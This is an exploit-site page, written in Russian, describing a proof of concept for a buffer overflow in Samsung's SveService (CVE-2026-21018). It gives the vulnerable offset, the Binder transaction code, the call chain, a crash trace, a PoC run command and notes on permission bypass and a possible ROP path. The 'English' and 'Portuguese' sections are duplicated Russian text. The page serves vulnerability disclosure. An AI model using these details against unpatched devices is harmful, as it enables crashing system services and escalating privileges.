## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-PEALEAP-CVE-2026-21018
# Переполнение буфера SveService
 
* * *
`Samsung SMR May 2026`
`SVE-2026-0478(CVE-2026-21018)`
`Затронутые версии: Android 14, 15, 16`
`Статус раскрытия: частное раскрытие`
`Запись за пределами границ в SveService до SMR May-2026 Release 1 позволяет локальным привилегированным злоумышленникам выполнять произвольный код.`
`Патч добавляет корректную проверку входных данных.`
* * *
### Предупреждение: это Proof-Of-Concept (PoC) только в образовательных целях; я не несу ответственности за любые ваши действия, не связанные с обучением. Вы предупреждены.
### Протестировано на Galaxy A17 LTE (SM-A175F)
* * *
## Английский
### Краткое описание
Уязвимость переполнения буфера в системном сервисе `SveService` (`com.sec.sve`) на устройствах Samsung под управлением Android 16. Сервис работает как `system` (UID 1000) и доступен **без каких-либо специальных разрешений** через Binder.
### Компоненты
Компонент| Роль| Версия
---|---|---
`sveservice.apk`| Сервис Android| API 36
`libsvejni.so`| Нативная библиотека ARM64| Build ID: `0a71afa45f8688b4314ed8e5a0aea8b9`
### Уязвимость
В `sveJNISVE_SetCodecInfo` (`libsvejni.so:0x21710`) параметры `i18`, `i19`, `i20` (полученные из AIDL как `i106/i107/i108`, `TRANSACTION_sveSetCodecInfo = 38`) передаются напрямую в `memset`, `sub sp, sp, xN` (alloca) и `memcpy` **без какой-либо проверки размера**.
Похожие функции (`GetVersion`, `EnableSRTP`, `SetSRTPParams`, `SetGcmSrtpParams`) выполняют проверку с помощью `cmp w20, #0x1e; b.gt` (отклоняя значения > 30 байт). `SetCodecInfo` не выполняет проверку вообще.
### Схема вызова
root@kitploit:~
App/Script
→ ServiceManager.getService("SveService")
→ transact(38, parcel, ...)
→ ISecVideoEngineService$Stub.onTransact()
→ SecVideoEngineImpl.sveSetCodecInfo()
→ SveJniProxy.sveJNISVE_SetCodecInfo()
→ libsvejni.so: Java_com_samsung_sve_sveJNI_sveJNISVE_SetCodecInfo
├── memset(dst, 0, i18)
├── sub sp, sp, (i19+15)&~15
├── memset(dst, 0, i19)
├── sub sp, sp, (i20+15)&~15
├── memset(dst, 0, i20)
├── memcpy(dst, src, i18)
├── memcpy(dst, src, i19)
└── memcpy(dst, src, i20)
### Значения с `-1` (0xFFFFFFFF)
### Данные о падении (Tombstone 07)
root@kitploit:~
Cause: stack pointer is in a non-existent map; likely due to stack overflow.
signal 11 (SIGSEGV), code 1 (SEGV_MAPERR)
#00 __memset_aarch64+160 libc.so
#01 sveJNISVE_SetCodecInfo+504 libsvejni.so (offset 0x21908)
x2 00000000ffffffff ← memset count = 4GB
x24 00000000ffffffff ← i18 = -1
sp 000000707f5f7610 ← SP in invalid region
x29 000000717f5f7710 ← original frame pointer
### PoC
root@kitploit:~
cd poc
./build_and_run.sh
Ожидаемый вывод:
root@kitploit:~
[*] Phase 1: valid call (1,1,1)...
[+] Returned: 0
[*] Phase 2: i106=-1...
[!] Exception: DeadObjectException: null
[+] SveService CRASHED - overflow confirmed
### Примечания
* **Root не требуется** : `ServiceManager.getService()` через `app_process` работает с UID shell.
* **Обход разрешений** : разрешение `signatureOrSystem` НЕ применяется — сервис регистрируется напрямую через `ServiceManager.addService()`, минуя механизм разрешений Android.
* **Падение неизбежно** : `memset` с `0xFFFFFFFF` всегда приводит к падению. Для RCE потребовались бы утечка адреса + ROP (PAC отсутствует на SM-A175F).
* * *
## Португальский
### Краткое описание
Уязвимость переполнения буфера в системном сервисе `SveService` (`com.sec.sve`) на устройствах Samsung под управлением Android 16. Сервис работает как `system` (UID 1000) и доступен **без каких-либо специальных разрешений** через Binder.
### Компоненты
Компонент| Роль| Версия
---|---|---
`sveservice.apk`| Сервис Android| API 36
`libsvejni.so`| Нативная библиотека ARM64| Build ID: `0a71afa45f8688b4314ed8e5a0aea8b9`
### Уязвимость
В `sveJNISVE_SetCodecInfo` (`libsvejni.so:0x21710`) параметры `i18`, `i19`, `i20` (полученные из AIDL как `i106/i107/i108`, `TRANSACTION_sveSetCodecInfo = 38`) используются напрямую в качестве аргументов для `memset`, `sub sp, sp, xN` (alloca) и `memcpy` **без какой-либо проверки размера**.
Похожие функции (`GetVersion`, `EnableSRTP`, `SetSRTPParams`, `SetGcmSrtpParams`) выполняют проверку с помощью `cmp w20, #0x1e; b.gt` (отклоняют > 30 байт). `SetCodecInfo` не проверяет ничего.
### Схема вызова
root@kitploit:~
App/Script
→ ServiceManager.getService("SveService")
→ transact(38, parcel, ...)
→ ISecVideoEngineService$Stub.onTransact()
→ SecVideoEngineImpl.sveSetCodecInfo()
→ SveJniProxy.sveJNISVE_SetCodecInfo()
→ libsvejni.so: Java_com_samsung_sve_sveJNI_sveJNISVE_SetCodecInfo
├── memset(dst, 0, i18)
├── sub sp, sp, (i19+15)&~15
├── memset(dst, 0, i19)
├── sub sp, sp, (i20+15)&~15
├── memset(dst, 0, i20)
├── memcpy(dst, src, i18)
├── memcpy(dst, src, i19)
└── memcpy(dst, src, i20)
### Значения с `-1` (0xFFFFFFFF)
### PoC
root@kitploit:~
cd poc
./build_and_run.sh
Ожидаемый вывод:
root@kitploit:~
[*] Phase 1: valid call (1,1,1)...
[+] Returned: 0
[*] Phase 2: i106=-1...
[!] Exception: DeadObjectException: null
[+] SveService CRASHED - overflow confirmed
### Примечания
* **Root не требуется** : `ServiceManager.getService()` через `app_process` работает с UID shell.
* **Обход разрешений** : разрешение `signatureOrSystem` НЕ применяется — сервис регистрируется напрямую через `ServiceManager.addService()`, обходя проверку разрешений.
* **Падение неизбежно** : `memset` с `0xFFFFFFFF` всегда приводит к падению. Для RCE потребовались бы утечка адреса + ROP (PAC отсутствует на SM-A175F).